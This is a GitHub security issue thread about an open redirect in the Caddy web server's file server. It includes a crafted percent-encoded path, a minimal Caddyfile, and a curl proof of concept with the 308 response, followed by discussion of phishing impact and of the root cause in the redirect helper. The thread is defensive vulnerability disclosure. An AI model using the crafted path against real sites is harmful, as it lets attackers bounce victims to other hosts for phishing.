Open redirect on carefully crafted paths
Issue Details
Summary
Caddy will return a 308 to any website when given URLs of the shape:
https://example.org/public/..%2F%5cgithub.com%2F%3f%2F..%2F..
This one will land you on github.com.
Details
I managed to find similar issues in the past: https://caddy.community/t/does-caddy-do-a-308-redirect-somehow/15035
They were resolved by improving the MatchPath sanitizing: https://github.com/caddyserver/caddy/pull/4499
I am assuming the current rules there don't correctly catch the URL pattern above. I did not try to further minimize the path, to see which specific pieces are necessary to trigger the behaviour.
The open redirect was reported against our website. I verified the issue and pinned it down to Caddy behaviour.
I did minimize the Caddyfile necessary to trigger the behaviour.
I did not use any LLM for any part of this.
PoC
- Create a barebones Caddyfile: both
rootandfile_serverdirective are necessary
# Global options not needed, but enabling debug was requested for the report
{
admin off
debug
}
:{$PORT} {
# Enabling access logs to make it easier to visualize (not necessary)
log
# Set this path to your site's directory.
root * /usr/share/caddy
# Enable the static file server.
file_server
}
- Start the caddy-server
/srv # caddy version
v2.11.4 h1:XKxkMTgNSizEvKG6QHue6cAsFOteU2qA61w2tKkCWi0=
/src # caddy run --config /etc/caddy/Caddyfile
/srv # caddy run --config /etc/caddy/Caddyfile
2026/09/11 16:32:59.617 INFO maxprocs: Leaving GOMAXPROCS=10: CPU quota undefined
2026/09/11 16:32:59.617 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 7393366425, "previous": 9223372036854775807}
2026/09/11 16:32:59.617 INFO using config from file {"file": "/etc/caddy/Caddyfile"}
2026/09/11 16:32:59.617 INFO adapted config to JSON {"adapter": "caddyfile"}
2026/09/11 16:32:59.617 WARN admin admin endpoint disabled
2026/09/11 16:32:59.618 WARN http.auto_https server is listening only on the HTTP port, so no automatic HTTPS will be applied to this server {"server_name": "srv0", "http_port": 80}
2026/09/11 16:32:59.618 DEBUG http.auto_https all servers have automatic HTTPS disabled and no domains need certificates, skipping TLS automation setup
2026/09/11 16:32:59.618 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0x6cfdb980d480"}
2026/09/11 16:32:59.623 DEBUG http starting server loop {"address": "[::]:80", "tls": false, "http3": false}
2026/09/11 16:32:59.623 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":80"}
2026/09/11 16:32:59.623 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":80"}
2026/09/11 16:32:59.623 INFO http.log server running {"name": "srv0", "protocols": ["h1", "h2", "h3"]}
2026/09/11 16:32:59.624 DEBUG events event {"name": "started", "id": "7739a42f-64be-45d0-a8bb-02410aad61b9", "origin": "", "data": null}
2026/09/11 16:32:59.624 INFO autosaved config (load with --resume flag) {"file": "/config/caddy/autosave.json"}
2026/09/11 16:32:59.624 INFO serving initial configuration
2026/09/11 16:32:59.626 INFO tls cleaning storage unit {"storage": "FileStorage:/data/caddy"}
2026/09/11 16:32:59.627 INFO tls finished cleaning storage units
- Request the malicious URL
➜ curl http://localhost:12345/public/..%2F%5cgithub.com%2F%3f%2F..%2F.. -v
* Host localhost:12345 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:12345...
* Connected to localhost (::1) port 12345
> GET /public/..%2F%5cgithub.com%2F%3f%2F..%2F.. HTTP/1.1
> Host: localhost:12345
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 308 Permanent Redirect
< Content-Type: text/html; charset=utf-8
< Location: /\github.com/?/../../
< Server: Caddy
< Date: Fri, 11 Sep 2026 16:35:25 GMT
< Content-Length: 57
<
<a href="/\github.com/?/../../">Permanent Redirect</a>.
* Connection #0 to host localhost left intact
Caddy logs:
2026/09/11 16:35:25.339 DEBUG http.handlers.file_server sanitized path join {"site_root": "/usr/share/caddy", "fs": "", "request_path": "/public/../\\github.com/?/../..", "result": "/usr/share/caddy"}
2026/09/11 16:35:25.340 DEBUG http.handlers.file_server located index file {"filename": "/usr/share/caddy/index.html"}
2026/09/11 16:35:25.340 DEBUG http.handlers.file_server redirecting to canonical URI (adding trailing slash for directory {"from_path": "/public/../\\github.com/?/../..", "to_path": "/public/../\\github.com/?/../../"}
2026/09/11 16:35:25.340 INFO http.log.access handled request {"request": {"remote_ip": "192.168.65.1", "remote_port": "47648", "client_ip": "192.168.65.1", "proto": "HTTP/1.1", "method": "GET", "host": "localhost:12345", "uri": "/public/..%2F%5cgithub.com%2F%3f%2F..%2F..", "headers": {"User-Agent": ["curl/8.7.1"], "Accept": ["*/*"]}}, "bytes_read": 0, "user_id": "", "duration": 0.002561, "size": 57, "status": 308, "resp_headers": {"Content-Type": ["text/html; charset=utf-8"], "Server": ["Caddy"], "Location": ["/\\github.com/?/../../"]}}
In a browser, this lands you on github.com.
Impact
This type of open redirect is extremely useful in phishing campaigns, since most of the URL will actually be the domain being impersonated.
Assistance Disclosure
No response
If AI was used, describe the extent to which it was used.
No response
Cheers. Happy for a PR.
Although. Coming from a CTI background, I disagree slightly with the phishing claim. The obfuscation in the URL is fairly obvious and anyone who misses it would probably also miss homoglyphs or similar techniques that cannot be patched. The redirect is definitely a real bug but its phishing impact is next to zero.
+ if an actors intention were redirecting to a lookalike, just using a homoglyph or similar without worrying about this redirect is simpler 🤷♂️
Fair point on the phishing impact being limited in a normal browser address bar.
One edge case I had in mind is link preview / email / chat clients which may derive the site icon or branding from the original URL host, while the actual navigation later follows the redirect. In that case the UI could still present branding from the trusted origin even though the click eventually lands on another host.
Although. Coming from a CTI background, I disagree slightly with the phishing claim. The obfuscation in the URL is fairly obvious and anyone who misses it would probably also miss homoglyphs or similar techniques that cannot be patched. The redirect is definitely a real bug but its phishing impact is next to zero.
- if an actors intention were redirecting to a lookalike, just using a homoglyph or similar without worrying about this redirect is simpler 🤷♂️
In which case there are far easier ways to create lookalikes 😉
I agree. The redirect behavior itself is still worth fixing, and I'd be happy to work on it 😁
Feel free. Probably wait a short while as this was originally reported as a GHSA so a fix may have already been worked on by @wdullaer
I am not working on any fix at the moment. I'm not familiar enough with the codebase to produce something quickly.
I ended up working around the issue in our deployments by intercepting any 308 and blanket redirecting to the website root. This works because these specific sites never return 308 under normal operations, but clearly that's not a generic solution :-)
Much appreciated. More then happy to see a fix @MangoGovo
Got it, thanks for confirming. I'll take a look at fixing it properly in Caddy then 😄
I found that the root cause is that redirect uses the raw, unescaped path when setting the Location header. and i have created a pr to fix it https://github.com/caddyserver/caddy/blob/ef1877210ed3fe106edf80b11d9b580d95f0b026/modules/caddyhttp/fileserver/staticfiles.go#L850-L861
Confirmed still reproducible on master f53b832c41a42dbfc5968da07babf80ec0831126 — exact PoC yields Location: /\github.com/?/../../.
The sink is redirect() in modules/caddyhttp/fileserver/staticfiles.go:865: it strips a leading // "to prevent path-based open redirects" but not \. The browse trailing-slash redirect (browse.go:106, origReq.URL.Path + "/") hits the same helper, so extending the guard to \ covers both call sites — e.g. strip/reject a leading run of /+\, since WHATWG parsers treat \ as / in special-scheme URLs.
Related: redir/header/respond emit placeholder-expanded Location values with no ///\ guard at all — filed separately as https://github.com/caddyserver/caddy/issues/8339.
AI disclosure: verified and written with AI-agent (Devin/Cognition) assistance under human direction.
Um.... Okay....?